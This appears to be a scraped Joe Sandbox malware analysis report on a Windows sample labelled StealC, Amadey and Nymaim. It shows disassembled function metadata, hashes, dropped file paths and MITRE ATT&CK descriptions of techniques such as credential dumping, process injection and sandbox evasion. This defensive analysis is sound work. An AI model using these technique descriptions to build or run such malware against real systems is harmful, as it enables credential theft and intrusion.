Instruction Fuzzy Hash: B5213FB6F25A84DACA80DF92B50331AFB70A60268D722901CC1094BB24E731E44E9F95

Function 6CE30F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CE30936,FFFFE8AE,?,6CDC16B7,00000000,?,6CE30936,00000000,?,6CDC204A), ref: 6CE30F1B

Part of subcall function 6CE31370: GetSystemInfo.KERNEL32(?,?,?,?,6CE30936,?,6CE30F20,6CE30936,FFFFE8AE,?,6CDC16B7,00000000,?,6CE30936,00000000), ref: 6CE3138F

PR_NewLogModule.NSS3(clock,6CE30936,FFFFE8AE,?,6CDC16B7,00000000,?,6CE30936,00000000,?,6CDC204A), ref: 6CE30F25

Part of subcall function 6CE31110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CE30936,00000001,00000040), ref: 6CE31130
Part of subcall function 6CE31110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE30936,00000001,00000040), ref: 6CE31142
Part of subcall function 6CE31110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE30936,00000001), ref: 6CE31167

Strings

clock, xrefs: 6CE30F20

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: d3373145c17224ef99e04ff8b54e71c4c6c9e43acf117df07d7f95507452f856
Instruction ID: 005a395ed9c899d8ea8ef1442bd1dd31ebe125d6e881641ea40630cd4367d187
Opcode Fuzzy Hash: d3373145c17224ef99e04ff8b54e71c4c6c9e43acf117df07d7f95507452f856
Instruction Fuzzy Hash: 52D02232B0022491C15022D7BC44FDFF7BCC7C3279F20A83EE02C02E000A2AA4DAC275

Function 6CEA0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CEA0DF5
TlsGetValue.KERNEL32 ref: 6CEA0E2D
TlsGetValue.KERNEL32 ref: 6CEA0E58
TlsGetValue.KERNEL32 ref: 6CEA0E84

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: a52552a38da208e61b15533a173212d19b1413334b6b7b16e9e65fcbabb8b81e
Instruction ID: 38570189d18fb6349165abdd6bee186f8ddc7700e181e17fd1334475dbc836c7
Opcode Fuzzy Hash: a52552a38da208e61b15533a173212d19b1413334b6b7b16e9e65fcbabb8b81e
Instruction Fuzzy Hash: 8731B270A64390CFDF406FB98584359BBB4BF0634DF21C66DD88A8BB21DB359486DB81

Function 6CEA0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE42AF5,?,?,?,?,?,6CE40A1B,00000000), ref: 6CEA0F1A
malloc.MOZGLUE(00000001), ref: 6CEA0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEA0F42
TlsGetValue.KERNEL32 ref: 6CEA0F5B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 2bd7c12d52c2d0f7dd3cd496472ec6e0cf20f83f3e39a9c5d1899007939463df
Instruction ID: c12a36cce49dcdf27c73abee0c7fb0e68e2eb7e40ffec2c6a14b5cfed9ee66c0
Opcode Fuzzy Hash: 2bd7c12d52c2d0f7dd3cd496472ec6e0cf20f83f3e39a9c5d1899007939463df
Instruction Fuzzy Hash: 7D0168B5E102808FEB102BBA9D056567ABCEF5729DF210121ED1DDBB21E731C806C2E2

Function 6CE51EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CE51ECE
free.MOZGLUE(?), ref: 6CE51EDF
free.MOZGLUE(?), ref: 6CE51EEF
free.MOZGLUE(?), ref: 6CE51EF5

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9efe37355de92b05c01632b58df62e69e77d1a0ce8c8fe0f12fb8b9a3ad59ebd
Instruction ID: 9675a1127764a6263521594c5dd4919449c79afd8472be9f65d96f6759bab7d9
Opcode Fuzzy Hash: 9efe37355de92b05c01632b58df62e69e77d1a0ce8c8fe0f12fb8b9a3ad59ebd
Instruction Fuzzy Hash: 12F0B4B17001016BEB00AFA5DC45E27B37CEF45198B540428ED0AC3A00DB26F42086A5

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Threatname: Nymaim

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CFCFHJDBKJKEBFHJEHII

C:\ProgramData\EGCBAFCF

C:\ProgramData\FHIEBKKFHIEGCAKECGHJ

C:\ProgramData\GIJEBKECBAKFBGDGCBGD

C:\ProgramData\HIIIJDAAAAAAKECBFBAEBKJJJJ

C:\ProgramData\IEHDBAAFIDGDAAAAAAAAKEBFHD

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre